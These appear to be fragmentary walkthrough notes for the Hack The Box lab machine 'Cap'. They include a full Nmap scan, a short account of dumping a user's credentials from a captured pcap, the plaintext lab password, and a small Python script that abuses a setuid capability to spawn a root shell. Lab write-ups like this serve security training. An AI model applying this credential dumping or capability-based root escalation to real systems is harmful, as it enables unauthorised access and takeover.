Cap
Last updated
Last updated
| User | Password | Note |
|---|---|---|
# Nmap 7.91 scan initiated Sun Jun 27 05:37:25 2021 as: nmap -p21,22,80 -sV -sC -oA nmap/detalied 10.10.10.245
Nmap scan report for 10.10.10.245
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Sun, 27 Jun 2021 09:50:03 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Sun, 27 Jun 2021 09:49:58 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
| <!DOCTYPE html>
| <html class="no-js" lang="en">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Security Dashboard</title>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
| <link rel="stylesheet" href="/static/css/bootstrap.min.css">
| <link rel="stylesheet" href="/static/css/font-awesome.min.css">
| <link rel="stylesheet" href="/static/css/themify-icons.css">
| <link rel="stylesheet" href="/static/css/metisMenu.css">
| <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
| <link rel="stylesheet" href="/static/css/slicknav.min.css">
| <!-- amchar
| HTTPOptions:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Sun, 27 Jun 2021 09:49:58 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, OPTIONS, GET
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Connection: close
| Content-Type: text/html
| Content-Length: 196
| <html>
| <head>
| <title>Bad Request</title>
| </head>
| <body>
| <h1><p>Bad Request</p></h1>
| Invalid HTTP Version 'Invalid HTTP Version: 'RTSP/1.0''
| </body>
|_ </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :
SF-Port80-TCP:V=7.91%I=7%D=6/27%Time=60D846DD%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,105F,"HTTP/1\\.0\\x20200\\x20OK\\r\\nServer:\\x20gunicorn\\r\\nDate:\\x20
SF:Sun,\\x2027\\x20Jun\\x202021\\x2009:49:58\\x20GMT\\r\\nConnection:\\x20close\\r\\
SF:nContent-Type:\\x20text/html;\\x20charset=utf-8\\r\\nContent-Length:\\x20193
SF:86\\r\\n\\r\\n<!DOCTYPE\\x20html>\\n<html\\x20class=\\"no-js\\"\\x20lang=\\"en\\">\\
SF:n\\n<head>\\n\\x20\\x20\\x20\\x20<meta\\x20charset=\\"utf-8\\">\\n\\x20\\x20\\x20\\x2
SF:0<meta\\x20http-equiv=\\"x-ua-compatible\\"\\x20content=\\"ie=edge\\">\\n\\x20\\
SF:x20\\x20\\x20<title>Security\\x20Dashboard</title>\\n\\x20\\x20\\x20\\x20<meta\\
SF:x20name=\\"viewport\\"\\x20content=\\"width=device-width,\\x20initial-scale=
SF:1\\">\\n\\x20\\x20\\x20\\x20<link\\x20rel=\\"shortcut\\x20icon\\"\\x20type=\\"image
SF:/png\\"\\x20href=\\"/static/images/icon/favicon\\.ico\\">\\n\\x20\\x20\\x20\\x20<
SF:link\\x20rel=\\"stylesheet\\"\\x20href=\\"/static/css/bootstrap\\.min\\.css\\">
SF:\\n\\x20\\x20\\x20\\x20<link\\x20rel=\\"stylesheet\\"\\x20href=\\"/static/css/fon
SF:t-awesome\\.min\\.css\\">\\n\\x20\\x20\\x20\\x20<link\\x20rel=\\"stylesheet\\"\\x20
SF:href=\\"/static/css/themify-icons\\.css\\">\\n\\x20\\x20\\x20\\x20<link\\x20rel=
SF:\\"stylesheet\\"\\x20href=\\"/static/css/metisMenu\\.css\\">\\n\\x20\\x20\\x20\\x2
SF:0<link\\x20rel=\\"stylesheet\\"\\x20href=\\"/static/css/owl\\.carousel\\.min\\.
SF:css\\">\\n\\x20\\x20\\x20\\x20<link\\x20rel=\\"stylesheet\\"\\x20href=\\"/static/c
SF:ss/slicknav\\.min\\.css\\">\\n\\x20\\x20\\x20\\x20<!--\\x20amchar")%r(HTTPOption
SF:s,B3,"HTTP/1\\.0\\x20200\\x20OK\\r\\nServer:\\x20gunicorn\\r\\nDate:\\x20Sun,\\x2
SF:027\\x20Jun\\x202021\\x2009:49:58\\x20GMT\\r\\nConnection:\\x20close\\r\\nConten
SF:t-Type:\\x20text/html;\\x20charset=utf-8\\r\\nAllow:\\x20HEAD,\\x20OPTIONS,\\x
SF:20GET\\r\\nContent-Length:\\x200\\r\\n\\r\\n")%r(RTSPRequest,121,"HTTP/1\\.1\\x2
SF:0400\\x20Bad\\x20Request\\r\\nConnection:\\x20close\\r\\nContent-Type:\\x20text
SF:/html\\r\\nContent-Length:\\x20196\\r\\n\\r\\n<html>\\n\\x20\\x20<head>\\n\\x20\\x20
SF:\\x20\\x20<title>Bad\\x20Request</title>\\n\\x20\\x20</head>\\n\\x20\\x20<body>\\
SF:n\\x20\\x20\\x20\\x20<h1><p>Bad\\x20Request</p></h1>\\n\\x20\\x20\\x20\\x20Invali
SF:d\\x20HTTP\\x20Version\\x20'Invalid\\x20HTTP\\x20Version:\\x20'RTSP
SF:/1\\.0''\\n\\x20\\x20</body>\\n</html>\\n")%r(FourOhFourRequest,189
SF:,"HTTP/1\\.0\\x20404\\x20NOT\\x20FOUND\\r\\nServer:\\x20gunicorn\\r\\nDate:\\x20S
SF:un,\\x2027\\x20Jun\\x202021\\x2009:50:03\\x20GMT\\r\\nConnection:\\x20close\\r\\n
SF:Content-Type:\\x20text/html;\\x20charset=utf-8\\r\\nContent-Length:\\x20232\\
SF:r\\n\\r\\n<!DOCTYPE\\x20HTML\\x20PUBLIC\\x20\\"-//W3C//DTD\\x20HTML\\x203\\.2\\x20
SF:Final//EN\\">\\n<title>404\\x20Not\\x20Found</title>\\n<h1>Not\\x20Found</h1>
SF:\\n<p>The\\x20requested\\x20URL\\x20was\\x20not\\x20found\\x20on\\x20the\\x20ser
SF:ver\\.\\x20If\\x20you\\x20entered\\x20the\\x20URL\\x20manually\\x20please\\x20ch
SF:eck\\x20your\\x20spelling\\x20and\\x20try\\x20again\\.</p>\\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Sun Jun 27 05:39:36 2021 -- 1 IP address (1 host up) scanned in 131.31 seconds
With predictable endpoints was possible to bruteforce the rest of data and dump credentials from user nathan from pcap file
With password acquired from pcap file login as nathan via SSH was possible.
setuid capability allow to change effective uid of user to other one, so this allow to impersonate root uid and run program with root privileges.
root@cap:/dev/shm# cat soviet.py
import os
os.setuid(0)
os.system('bash -i')
nathan
Buck3tH4TF0RM3!
http server
